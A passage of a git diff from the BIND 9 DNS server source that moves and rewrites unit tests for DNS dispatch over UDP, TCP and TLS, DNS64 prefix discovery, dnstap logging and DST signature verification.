+}
+
+ISC_LOOP_TEST_IMPL(dispatch_tcp_response) {
+	isc_result_t result;
+	uint16_t id;
+
+	/* Server */
+	result = isc_nm_listenstreamdns(netmgr, ISC_NM_LISTEN_ONE,
+					&tcp_server_addr, nameserver, NULL,
+					accept_cb, NULL, 0, NULL, NULL, &sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_loop_teardown(isc_loop_main(loopmgr), stop_listening, sock);
+
+	/* Client */
+	testdata.region.base = testdata.message;
+	testdata.region.length = sizeof(testdata.message);
+
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dispatch_createtcp(dispatchmgr, &tcp_connect_addr,
+					&tcp_server_addr, &dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	result = dns_dispatch_add(dispatch, isc_loop_main(loopmgr), 0,
+				  T_CLIENT_CONNECT, &tcp_server_addr, NULL,
+				  NULL, connected, client_senddone, response,
+				  &testdata.region, &id, &dispentry);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatch_detach(&dispatch);
+
+	testdata.message[0] = (id >> 8) & 0xff;
+	testdata.message[1] = id & 0xff;
+
+	dns_dispatch_connect(dispentry);
+}
+
+ISC_LOOP_TEST_IMPL(dispatch_tls_response) {
+	isc_result_t result;
+	uint16_t id;
+
+	/* Server */
+	result = isc_nm_listenstreamdns(
+		netmgr, ISC_NM_LISTEN_ONE, &tls_server_addr, nameserver, NULL,
+		accept_cb, NULL, 0, NULL, tls_listen_tlsctx, &sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_loop_teardown(isc_loop_main(loopmgr), stop_listening, sock);
+
+	/* Client */
+	testdata.region.base = testdata.message;
+	testdata.region.length = sizeof(testdata.message);
+
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dispatch_createtcp(dispatchmgr, &tls_connect_addr,
+					&tls_server_addr, &dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	result = dns_dispatch_add(dispatch, isc_loop_main(loopmgr), 0,
+				  T_CLIENT_CONNECT, &tls_server_addr,
+				  tls_transport, tls_tlsctx_client_cache,
+				  connected, client_senddone, response,
+				  &testdata.region, &id, &dispentry);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatch_detach(&dispatch);
+
+	testdata.message[0] = (id >> 8) & 0xff;
+	testdata.message[1] = id & 0xff;
+
+	dns_dispatch_connect(dispentry);
+}
+
+ISC_LOOP_TEST_IMPL(dispatch_timeout_udp_response) {
+	isc_result_t result;
+	uint16_t id;
+
+	/* Server */
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ONE, &udp_server_addr,
+				  noop_nameserver, NULL, &sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/* ensure we stop listening after the test is done */
+	isc_loop_teardown(isc_loop_main(loopmgr), stop_listening, sock);
+
+	/* Client */
+	result = dns_dispatch_createudp(dispatchmgr, &udp_connect_addr,
+					&dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	result = dns_dispatch_add(
+		dispatch, isc_loop_main(loopmgr), 0, T_CLIENT_CONNECT,
+		&udp_server_addr, NULL, NULL, connected, client_senddone,
+		response_timeout, &testdata.region, &id, &dispentry);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatch_detach(&dispatch);
+
+	dns_dispatch_connect(dispentry);
+}
+
+/* test dispatch getnext */
+ISC_LOOP_TEST_IMPL(dispatch_getnext) {
+	isc_result_t result;
+	uint16_t id;
+
+	/* Server */
+	result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ONE, &udp_server_addr,
+				  nameserver, NULL, &sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_loop_teardown(isc_loop_main(loopmgr), stop_listening, sock);
+
+	/* Client */
+	testdata.region.base = testdata.message;
+	testdata.region.length = sizeof(testdata.message);
+
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dispatch_createudp(dispatchmgr, &udp_connect_addr,
+					&dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	result = dns_dispatch_add(
+		dispatch, isc_loop_main(loopmgr), 0, T_CLIENT_CONNECT,
+		&udp_server_addr, NULL, NULL, connected, client_senddone,
+		response_getnext, &testdata.region, &id, &dispentry);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatch_detach(&dispatch);
+
+	testdata.message[0] = (id >> 8) & 0xff;
+	testdata.message[1] = id & 0xff;
+
+	dns_dispatch_connect(dispentry);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(dispatch_timeout_udp_response, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatchset_create, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatchset_get, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatch_timeout_tcp_response, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatch_timeout_tcp_connect, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatch_tcp_response, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatch_tls_response, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(dispatch_getnext, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/dns64_test.c b/tests/dns/dns64_test.c
similarity index 90%
rename from lib/dns/tests/dns64_test.c
rename to tests/dns/dns64_test.c
index c95504cfa8..ad547ae060 100644
--- a/lib/dns/tests/dns64_test.c
+++ b/tests/dns/dns64_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -32,6 +33,8 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 
+#include <tests/dns.h>
+
 static void
 multiple_prefixes(void) {
 	size_t i, count;
@@ -70,8 +73,7 @@ multiple_prefixes(void) {
 	rdatalist.rdclass = rdata[0].rdclass;
 	rdatalist.ttl = 0;
 	dns_rdataset_init(&rdataset);
-	result = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 
 	count = ARRAY_SIZE(prefix);
 	memset(&prefix, 0, sizeof(prefix));
@@ -119,8 +121,7 @@ multiple_prefixes(void) {
 	assert_true(have_p1 != have_p2);
 }
 
-static void
-dns64_findprefix(void **state) {
+ISC_RUN_TEST_IMPL(dns64_findprefix) {
 	unsigned int i, j, o;
 	isc_result_t result;
 	struct {
@@ -163,8 +164,6 @@ dns64_findprefix(void **state) {
 		  ISC_R_NOTFOUND },
 	};
 
-	UNUSED(state);
-
 	for (i = 0; i < ARRAY_SIZE(tests); i++) {
 		size_t count = 2;
 		dns_rdataset_t rdataset;
@@ -207,8 +206,7 @@ dns64_findprefix(void **state) {
 		ISC_LIST_APPEND(rdatalist.rdata, &rdata[0], link);
 		ISC_LIST_APPEND(rdatalist.rdata, &rdata[1], link);
 		dns_rdataset_init(&rdataset);
-		result = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-		assert_int_equal(result, ISC_R_SUCCESS);
+		dns_rdatalist_tordataset(&rdatalist, &rdataset);
 
 		result = dns_dns64_findprefix(&rdataset, prefix, &count);
 		assert_int_equal(result, tests[i].result);
@@ -229,22 +227,8 @@ dns64_findprefix(void **state) {
 	multiple_prefixes();
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = { cmocka_unit_test_setup_teardown(
-		dns64_findprefix, NULL, NULL) };
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(dns64_findprefix)
+ISC_TEST_LIST_END
 
-#endif
+ISC_TEST_MAIN
diff --git a/tests/dns/dnstap_test.c b/tests/dns/dnstap_test.c
new file mode 100644
index 0000000000..8c82461b28
--- /dev/null
+++ b/tests/dns/dnstap_test.c
@@ -0,0 +1,355 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+#include <fstrm.h>
+
+#include <protobuf-c/protobuf-c.h>
+
+#include <isc/buffer.h>
+#include <isc/file.h>
+#include <isc/stdio.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include <dns/dnstap.h>
+#include <dns/view.h>
+
+#include <tests/dns.h>
+
+#define TAPFILE TESTS_DIR "/testdata/dnstap/dnstap.file"
+#define TAPSOCK TESTS_DIR "/testdata/dnstap/dnstap.sock"
+
+#define TAPSAVED TESTS_DIR "/testdata/dnstap/dnstap.saved"
+#define TAPTEXT	 TESTS_DIR "/testdata/dnstap/dnstap.text"
+
+static int
+cleanup(void **state ISC_ATTR_UNUSED) {
+	(void)isc_file_remove(TAPFILE);
+	(void)isc_file_remove(TAPSOCK);
+
+	return (0);
+}
+
+static int
+setup(void **state) {
+	/*
+	 * Make sure files are cleaned up before the test runs.
+	 */
+	cleanup(state);
+
+	/*
+	 * Make sure text conversions match the time zone in which
+	 * the testdata was originally generated.
+	 */
+	setenv("TZ", "PDT8", 1);
+	return (0);
+}
+
+/* set up dnstap environment */
+ISC_RUN_TEST_IMPL(dns_dt_create) {
+	isc_result_t result;
+	dns_dtenv_t *dtenv = NULL;
+	struct fstrm_iothr_options *fopt;
+
+	fopt = fstrm_iothr_options_init();
+	assert_non_null(fopt);
+	fstrm_iothr_options_set_num_input_queues(fopt, 1);
+
+	result = dns_dt_create(mctx, dns_dtmode_file, TAPFILE, &fopt, NULL,
+			       &dtenv);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	if (dtenv != NULL) {
+		dns_dt_detach(&dtenv);
+	}
+	if (fopt != NULL) {
+		fstrm_iothr_options_destroy(&fopt);
+	}
+
+	assert_true(isc_file_exists(TAPFILE));
+
+	fopt = fstrm_iothr_options_init();
+	assert_non_null(fopt);
+	fstrm_iothr_options_set_num_input_queues(fopt, 1);
+
+	result = dns_dt_create(mctx, dns_dtmode_unix, TAPSOCK, &fopt, NULL,
+			       &dtenv);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	if (dtenv != NULL) {
+		dns_dt_detach(&dtenv);
+	}
+	if (fopt != NULL) {
+		fstrm_iothr_options_destroy(&fopt);
+	}
+
+	/* 'create' should succeed, but the file shouldn't exist yet */
+	assert_false(isc_file_exists(TAPSOCK));
+
+	fopt = fstrm_iothr_options_init();
+	assert_non_null(fopt);
+	fstrm_iothr_options_set_num_input_queues(fopt, 1);
+
+	result = dns_dt_create(mctx, 33, TAPSOCK, &fopt, NULL, &dtenv);
+	assert_int_equal(result, ISC_R_FAILURE);
+	assert_null(dtenv);
+	if (dtenv != NULL) {
+		dns_dt_detach(&dtenv);
+	}
+	if (fopt != NULL) {
+		fstrm_iothr_options_destroy(&fopt);
+	}
+}
+
+/* send dnstap messages */
+ISC_RUN_TEST_IMPL(dns_dt_send) {
+	isc_result_t result;
+	dns_dtenv_t *dtenv = NULL;
+	dns_dthandle_t *handle = NULL;
+	uint8_t *data;
+	size_t dsize;
+	unsigned char zone[DNS_NAME_MAXWIRE];
+	unsigned char qambuffer[4096], rambuffer[4096];
+	unsigned char qrmbuffer[4096], rrmbuffer[4096];
+	isc_buffer_t zb, qamsg, ramsg, qrmsg, rrmsg;
+	size_t qasize, qrsize, rasize, rrsize;
+	dns_fixedname_t zfname;
+	dns_name_t *zname;
+	dns_dtmsgtype_t dt;
+	dns_view_t *view = NULL;
+	dns_compress_t cctx;
+	isc_region_t zr;
+	isc_sockaddr_t qaddr;
+	isc_sockaddr_t raddr;
+	struct in_addr in;
+	isc_stdtime_t now = isc_stdtime_now();
+
+	isc_time_t p, f;
+	struct fstrm_iothr_options *fopt;
+
+	result = dns_test_makeview("test", false, false, &view);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	fopt = fstrm_iothr_options_init();
+	assert_non_null(fopt);
+	fstrm_iothr_options_set_num_input_queues(fopt, 1);
+
+	result = dns_dt_create(mctx, dns_dtmode_file, TAPFILE, &fopt, NULL,
+			       &dtenv);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_dt_attach(dtenv, &view->dtenv);
+	view->dttypes = DNS_DTTYPE_ALL;
+
+	/*
+	 * Set up some test data
+	 */
+	zname = dns_fixedname_initname(&zfname);
+	isc_buffer_constinit(&zb, "example.com.", 12);
+	isc_buffer_add(&zb, 12);
+	result = dns_name_fromtext(zname, &zb, NULL, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	memset(&zr, 0, sizeof(zr));
+	isc_buffer_init(&zb, zone, sizeof(zone));
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, false);
+	result = dns_name_towire(zname, &cctx, &zb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_compress_invalidate(&cctx);
+	isc_buffer_usedregion(&zb, &zr);
+
+	in.s_addr = inet_addr("10.53.0.1");
+	isc_sockaddr_fromin(&qaddr, &in, 2112);
+	in.s_addr = inet_addr("10.53.0.2");
+	isc_sockaddr_fromin(&raddr, &in, 2112);
+
+	isc_time_set(&p, now - 3600, 0); /* past */
+	isc_time_set(&f, now + 3600, 0); /* future */
+
+	result = dns_test_getdata(TESTS_DIR "/testdata/dnstap/query.auth",
+				  qambuffer, sizeof(qambuffer), &qasize);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_buffer_init(&qamsg, qambuffer, qasize);
+	isc_buffer_add(&qamsg, qasize);
+
+	result = dns_test_getdata(TESTS_DIR "/testdata/dnstap/response.auth",
+				  rambuffer, sizeof(rambuffer), &rasize);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_buffer_init(&ramsg, rambuffer, rasize);
+	isc_buffer_add(&ramsg, rasize);
+
+	result = dns_test_getdata(TESTS_DIR "/testdata/dnstap/query.recursive",
+				  qrmbuffer, sizeof(qrmbuffer), &qrsize);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_buffer_init(&qrmsg, qrmbuffer, qrsize);
+	isc_buffer_add(&qrmsg, qrsize);
+
+	result = dns_test_getdata(TESTS_DIR
+				  "/testdata/dnstap/response.recursive",
+				  rrmbuffer, sizeof(rrmbuffer), &rrsize);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_buffer_init(&rrmsg, rrmbuffer, rrsize);
+	isc_buffer_add(&rrmsg, rrsize);
+
+	for (dt = DNS_DTTYPE_SQ; dt <= DNS_DTTYPE_TR; dt <<= 1) {
+		isc_buffer_t *m;
+		isc_sockaddr_t *q = &qaddr, *r = &raddr;
+
+		switch (dt) {
+		case DNS_DTTYPE_AQ:
+			m = &qamsg;
+			break;
+		case DNS_DTTYPE_AR:
+			m = &ramsg;
+			break;
+		default:
+			m = &qrmsg;
+			if ((dt & DNS_DTTYPE_RESPONSE) != 0) {
+				m = &ramsg;
+			}
+			break;
+		}
+
+		dns_dt_send(view, dt, q, r, false, &zr, &p, &f, m);
+		dns_dt_send(view, dt, q, r, false, &zr, NULL, &f, m);
+		dns_dt_send(view, dt, q, r, false, &zr, &p, NULL, m);
+		dns_dt_send(view, dt, q, r, false, &zr, NULL, NULL, m);
+		dns_dt_send(view, dt, q, r, true, &zr, &p, &f, m);
+		dns_dt_send(view, dt, q, r, true, &zr, NULL, &f, m);
+		dns_dt_send(view, dt, q, r, true, &zr, &p, NULL, m);
+		dns_dt_send(view, dt, q, r, true, &zr, NULL, NULL, m);
+	}
+
+	dns_dt_detach(&view->dtenv);
+	dns_dt_detach(&dtenv);
+	dns_view_detach(&view);
+
+	result = dns_dt_open(TAPFILE, dns_dtmode_file, mctx, &handle);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	while (dns_dt_getframe(handle, &data, &dsize) == ISC_R_SUCCESS) {
+		dns_dtdata_t *dtdata = NULL;
+		isc_region_t r;
+		static dns_dtmsgtype_t expected = DNS_DTTYPE_SQ;
+		static int n = 0;
+
+		r.base = data;
+		r.length = dsize;
+
+		result = dns_dt_parse(mctx, &r, &dtdata);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		if (result != ISC_R_SUCCESS) {
+			n++;
+			continue;
+		}
+
+		assert_int_equal(dtdata->type, expected);
+		if (++n % 8 == 0) {
+			expected <<= 1;
+		}
+
+		dns_dtdata_free(&dtdata);
+	}
+
+	if (fopt != NULL) {
+		fstrm_iothr_options_destroy(&fopt);
+	}
+	if (handle != NULL) {
+		dns_dt_close(&handle);
+	}
+}
+
+/* dnstap message to text */
+ISC_RUN_TEST_IMPL(dns_dt_totext) {
+	isc_result_t result;
+	dns_dthandle_t *handle = NULL;
+	uint8_t *data;
+	size_t dsize;
+	FILE *fp = NULL;
+
+	UNUSED(state);
+
+	result = dns_dt_open(TAPSAVED, dns_dtmode_file, mctx, &handle);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_stdio_open(TAPTEXT, "r", &fp);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	while (dns_dt_getframe(handle, &data, &dsize) == ISC_R_SUCCESS) {
+		dns_dtdata_t *dtdata = NULL;
+		isc_buffer_t *b = NULL;
+		isc_region_t r;
+		char s[BUFSIZ], *p;
+
+		r.base = data;
+		r.length = dsize;
+
+		/* read the corresponding line of text */
+		p = fgets(s, sizeof(s), fp);
+		assert_ptr_equal(p, s);
+		if (p == NULL) {
+			break;
+		}
+
+		p = strchr(p, '\n');
+		if (p != NULL) {
+			*p = '\0';
+		}
+
+		/* parse dnstap frame */
+		result = dns_dt_parse(mctx, &r, &dtdata);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		if (result != ISC_R_SUCCESS) {
+			continue;
+		}
+
+		isc_buffer_allocate(mctx, &b, 2048);
+		assert_non_null(b);
+		if (b == NULL) {
+			break;
+		}
+
+		/* convert to text and compare */
+		result = dns_dt_datatotext(dtdata, &b);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		assert_string_equal((char *)isc_buffer_base(b), s);
+
+		dns_dtdata_free(&dtdata);
+		isc_buffer_free(&b);
+	}
+
+	if (handle != NULL) {
+		dns_dt_close(&handle);
+	}
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(dns_dt_create, setup, cleanup)
+ISC_TEST_ENTRY_CUSTOM(dns_dt_send, setup, cleanup)
+ISC_TEST_ENTRY_CUSTOM(dns_dt_totext, setup, cleanup)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/dst_test.c b/tests/dns/dst_test.c
new file mode 100644
index 0000000000..b8f80dd8aa
--- /dev/null
+++ b/tests/dns/dst_test.c
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/file.h>
+#include <isc/hex.h>
+#include <isc/result.h>
+#include <isc/stdio.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <dst/dst.h>
+
+#include "dst_internal.h"
+
+#include <tests/dns.h>
+
+static int
+setup_test(void **state) {
+	UNUSED(state);
+
+	dst_lib_init(mctx, NULL);
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	UNUSED(state);
+
+	dst_lib_destroy();
+
+	return (0);
+}
+
+/* Read sig in file at path to buf. Check signature ineffability */
+static isc_result_t
+sig_fromfile(const char *path, isc_buffer_t *buf) {
+	isc_result_t result;
+	size_t rval, len;
+	FILE *fp = NULL;
+	unsigned char val;
+	char *p, *data;
+	off_t size;
+
+	result = isc_stdio_open(path, "rb", &fp);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_file_getsizefd(fileno(fp), &size);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	data = isc_mem_get(mctx, (size + 1));
+	assert_non_null(data);
+
+	len = (size_t)size;
+	p = data;
+	while (len != 0U) {
+		result = isc_stdio_read(p, 1, len, fp, &rval);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		len -= rval;
+		p += rval;
+	}
+	isc_stdio_close(fp);
+
+	p = data;
+	len = size;
+	while (len > 0U) {
+		if ((*p == '\r') || (*p == '\n')) {
+			++p;
+			--len;
+			continue;
+		} else if (len < 2U) {
+			goto err;
+		}
+		if (('0' <= *p) && (*p <= '9')) {
+			val = *p - '0';
+		} else if (('A' <= *p) && (*p <= 'F')) {
+			val = *p - 'A' + 10;
+		} else {
+			result = ISC_R_BADHEX;
+			goto err;
+		}
+		++p;
+		val <<= 4;
+		--len;
+		if (('0' <= *p) && (*p <= '9')) {
+			val |= (*p - '0');
+		} else if (('A' <= *p) && (*p <= 'F')) {
+			val |= (*p - 'A' + 10);
+		} else {
+			result = ISC_R_BADHEX;
+			goto err;
+		}
+		++p;
+		--len;
+		isc_buffer_putuint8(buf, val);
+	}
+
+	result = ISC_R_SUCCESS;
+
+err:
+	isc_mem_put(mctx, data, size + 1);
+	return (result);
+}
+
+static void
+check_sig(const char *datapath, const char *sigpath, const char *keyname,
+	  dns_keytag_t id, dns_secalg_t alg, int type, bool expect) {
+	isc_result_t result;
+	size_t rval, len;
+	FILE *fp;
+	dst_key_t *key = NULL;
+	unsigned char sig[512];
+	unsigned char *p;
+	unsigned char *data;
+	off_t size;
+	isc_buffer_t b;
+	isc_buffer_t databuf, sigbuf;
+	isc_region_t datareg, sigreg;
+	dns_fixedname_t fname;
+	dns_name_t *name;
+	dst_context_t *ctx = NULL;
+
+	/*
+	 * Read data from file in a form usable by dst_verify.
+	 */
+	result = isc_stdio_open(datapath, "rb", &fp);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_file_getsizefd(fileno(fp), &size);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	data = isc_mem_get(mctx, (size + 1));
+	assert_non_null(data);
+
+	p = data;
+	len = (size_t)size;
+	do {
+		result = isc_stdio_read(p, 1, len, fp, &rval);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		len -= rval;
+		p += rval;
+	} while (len);
+	isc_stdio_close(fp);
+
+	/*
+	 * Read key from file in a form usable by dst_verify.
+	 */
+	name = dns_fixedname_initname(&fname);
+	isc_buffer_constinit(&b, keyname, strlen(keyname));
+	isc_buffer_add(&b, strlen(keyname));
+	result = dns_name_fromtext(name, &b, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dst_key_fromfile(name, id, alg, type,
+				  TESTS_DIR "/testdata/dst", mctx, &key);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_init(&databuf, data, (unsigned int)size);
+	isc_buffer_add(&databuf, (unsigned int)size);
+	isc_buffer_usedregion(&databuf, &datareg);
+
+	memset(sig, 0, sizeof(sig));
+	isc_buffer_init(&sigbuf, sig, sizeof(sig));
+
+	/*
+	 * Read precomputed signature from file in a form usable by dst_verify.
+	 */
+	result = sig_fromfile(sigpath, &sigbuf);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Verify that the key signed the data.
+	 */
+	isc_buffer_remainingregion(&sigbuf, &sigreg);
+
+	result = dst_context_create(key, mctx, DNS_LOGCATEGORY_GENERAL, false,
+				    0, &ctx);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dst_context_adddata(ctx, &datareg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dst_context_verify(ctx, &sigreg);
+
+	/*
+	 * Compute the expected signature and emit it
+	 * so the precomputed signature can be updated.
+	 * This should only be done if the covered data
+	 * is updated.
+	 */
+	if (expect && result != ISC_R_SUCCESS) {
+		isc_result_t result2;
+
+		dst_context_destroy(&ctx);
+		result2 = dst_context_create(key, mctx, DNS_LOGCATEGORY_GENERAL,
+					     false, 0, &ctx);
+		assert_int_equal(result2, ISC_R_SUCCESS);
+
+		result2 = dst_context_adddata(ctx, &datareg);
+		assert_int_equal(result2, ISC_R_SUCCESS);
+
+		char sigbuf2[4096];
+		isc_buffer_t sigb;
+		isc_buffer_init(&sigb, sigbuf2, sizeof(sigbuf2));
+
+		result2 = dst_context_sign(ctx, &sigb);
+		assert_int_equal(result2, ISC_R_SUCCESS);
+
+		isc_region_t r;
+		isc_buffer_usedregion(&sigb, &r);
+
+		char hexbuf[4096] = { 0 };
+		isc_buffer_t hb;
+		isc_buffer_init(&hb, hexbuf, sizeof(hexbuf));
+
+		isc_hex_totext(&r, 0, "", &hb);
+
+		fprintf(stderr, "# %s:\n# %s\n", sigpath, hexbuf);
+	}
+
+	isc_mem_put(mctx, data, size + 1);
+	dst_context_destroy(&ctx);
+	dst_key_free(&key);
+
+	assert_true((expect && (result == ISC_R_SUCCESS)) ||
+		    (!expect && (result != ISC_R_SUCCESS)));
+
+	return;
+}
+
+ISC_RUN_TEST_IMPL(sig_test) {
+	struct {
+		const char *datapath;
+		const char *sigpath;
+		const char *keyname;
+		dns_keytag_t keyid;
+		dns_secalg_t alg;
+		bool expect;
+	} testcases[] = {
+		{ TESTS_DIR "/testdata/dst/test1.data",
+		  TESTS_DIR "/testdata/dst/test1.ecdsa256sig", "test.", 49130,
+		  DST_ALG_ECDSA256, true },
+		{ TESTS_DIR "/testdata/dst/test1.data",
+		  TESTS_DIR "/testdata/dst/test1.rsasha256sig", "test.", 11349,
+		  DST_ALG_RSASHA256, true },
+		{ /* wrong sig */
+		  TESTS_DIR "/testdata/dst/test1.data",
+		  TESTS_DIR "/testdata/dst/test1.ecdsa256sig", "test.", 11349,
+		  DST_ALG_RSASHA256, false },
+		{ /* wrong data */
+		  TESTS_DIR "/testdata/dst/test2.data",
+		  TESTS_DIR "/testdata/dst/test1.ecdsa256sig", "test.", 49130,
+		  DST_ALG_ECDSA256, false },
+	};
+	unsigned int i;
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		if (!dst_algorithm_supported(testcases[i].alg)) {
+			continue;
+		}
+
+		check_sig(testcases[i].datapath, testcases[i].sigpath,
+			  testcases[i].keyname, testcases[i].keyid,
+			  testcases[i].alg, DST_TYPE_PRIVATE | DST_TYPE_PUBLIC,
+			  testcases[i].expect);
+	}
+}
+
+static void
+check_cmp(const char *key1_name, dns_keytag_t key1_id, const char *key2_name,
+	  dns_keytag_t key2_id, dns_secalg_t alg, int type, bool expect) {
+	isc_result_t result;
+	dst_key_t *key1 = NULL;
+	dst_key_t *key2 = NULL;
+	isc_buffer_t b1;
+	isc_buffer_t b2;
+	dns_fixedname_t fname1;
+	dns_fixedname_t fname2;
+	dns_name_t *name1;
+	dns_name_t *name2;
+
+	/*
+	 * Read key1 from the file.
+	 */
+	name1 = dns_fixedname_initname(&fname1);
+	isc_buffer_constinit(&b1, key1_name, strlen(key1_name));
+	isc_buffer_add(&b1, strlen(key1_name));
+	result = dns_name_fromtext(name1, &b1, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dst_key_fromfile(name1, key1_id, alg, type,
+				  TESTS_DIR "/comparekeys", mctx, &key1);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Read key2 from the file.
+	 */
+	name2 = dns_fixedname_initname(&fname2);
+	isc_buffer_constinit(&b2, key2_name, strlen(key2_name));
